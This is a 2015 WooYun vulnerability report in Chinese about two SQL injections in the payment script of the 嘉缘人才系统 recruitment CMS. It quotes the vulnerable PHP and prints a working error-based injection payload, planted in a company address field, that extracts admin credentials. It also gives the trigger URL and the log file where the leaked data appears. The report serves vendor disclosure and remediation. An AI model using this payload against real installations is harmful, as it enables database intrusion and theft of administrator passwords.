当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101719

漏洞标题:嘉缘人才系统两处sql注入打包#2(直接出数据)

相关厂商:finereason.com

漏洞作者: 牛肉包子

提交时间:2015-03-17 16:27

修复时间:2015-06-18 15:00

公开时间:2015-06-18 15:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-17: 细节已通知厂商并且等待厂商处理中
2015-03-20: 厂商已经确认,细节仅向厂商公开
2015-03-23: 细节向第三方安全合作伙伴开放
2015-05-14: 细节向核心白帽子及相关领域专家公开
2015-05-24: 细节向普通白帽子公开
2015-06-03: 细节向实习白帽子公开
2015-06-18: 细节向公众公开

简要描述:

rt

详细说明:

看到\frcms\plus\onlinepay\send.php

require_once(dirname(__FILE__).'/../../config.inc.php');
$db=connectdb();
$paytype=intval($paytype);
$amount = trim($amount);
if(!is_numeric($amount)){showmsg('支付金额不合法,必须为数字。',"-1");exit;}
if(!strpos($amount,'.')) $amount=$amount.".00";
$rs = $db->get_one("select p_no,p_shid,p_key,p_name from {$cfg['tb_pre']}payonline where p_chk=1 and p_flag=$paytype");
if($rs){
$ipayno=base64_decode($rs["p_no"]);
$ipayid=base64_decode($rs["p_shid"]);
$ipaykey=base64_decode($rs["p_key"]);
$ipayname=$rs["p_name"];
}else{
showmsg('操作失败!接口故障请联系管理员。',"-1");exit;
}
$orderno = date('YmdHis');
//如果是会员查询会员的相关联系信息
if(_getcookie('user_login')!=''){
$username=_getcookie('user_login'); //注入一
$rs = $db->get_one("select m_tel,m_email,m_address from {$cfg['tb_pre']}member where m_login='$username'");
if($rs){
$p_address=$rs['m_address']; //注入二
$p_email=$rs['m_email'];
$p_tel=$rs['m_tel'];
}else{
showmsg('查无此用户信息,请与网站管理员联系。',"/index.php");exit;
}
}else{
showmsg('登陆时间过长 或 账户为无效账户,请与网站管理员联系。',"../../login.php");exit;
}
$p_address=$p_address==''?'无地址':$p_address;
$p_tel=$p_tel==''?'0':$p_tel;
$p_mid=$ipayno;
$p_amount=$amount;
$p_type=$ipayname;
$p_pmode='';
$p_oid=$orderno;
$p_content=$cfg['sitename'].'会员充值,订单号:'.$orderno;
$p_member=$username;
$p_class=_getcookie('user_type');
$p_date=date('Y-m-d H:i:s');
$p_userip=getip();
//存入在线缴费记录表
$db ->query("INSERT INTO {$cfg['tb_pre']}payback (p_mid,p_amount,p_type,p_pmode,p_oid,p_content,p_member,p_class,p_address,p_email,p_tel,p_date,p_userip,p_isucceed) VALUES('$p_mid','$p_amount','$p_type','$p_pmode','$p_oid','$p_content','$p_member','$p_class','$p_address','$p_email','$p_tel','$p_date','$p_userip',0)");


注入一根据前面
WooYun: 嘉缘人才系统sql注入
这个漏洞,可以知道如何利用。
但是在新版的cookie加上了$cfg['cookie_encode'],但是getcookie函数也变了。

function _getcookie($var) {
global $cfg;
$var = $cfg['cookie_pre'].$var;
return isset($_COOKIE[$var]) ? substr(base64_decode($_COOKIE[$var]),0,-strlen($cfg['cookie_encode'])) : '';
}


所以不影响利用。
第二处
任意注册一个公司把公司地址修改为

'or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a) ,0)#


需要抓包修改一下

1.png


然后访问

http://127.0.0.1/frcms/plus/onlinepay/send.php?paytype=2&amount=1


2.png


根据
WooYun: 嘉缘人才系统两处sql注入打包(直接出数据)

找到记录文件
http://127.0.0.1/frcms/data/log/sql_e15a0a25dbd4030a31357433e2a1b26a.txt


3.png


数据已出

漏洞证明:

3.png

修复方案:

出库转义

版权声明:转载请注明来源 牛肉包子@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-03-20 14:59

厂商回复:

感谢反馈漏洞,我们会尽快修复处理。

最新状态:

暂无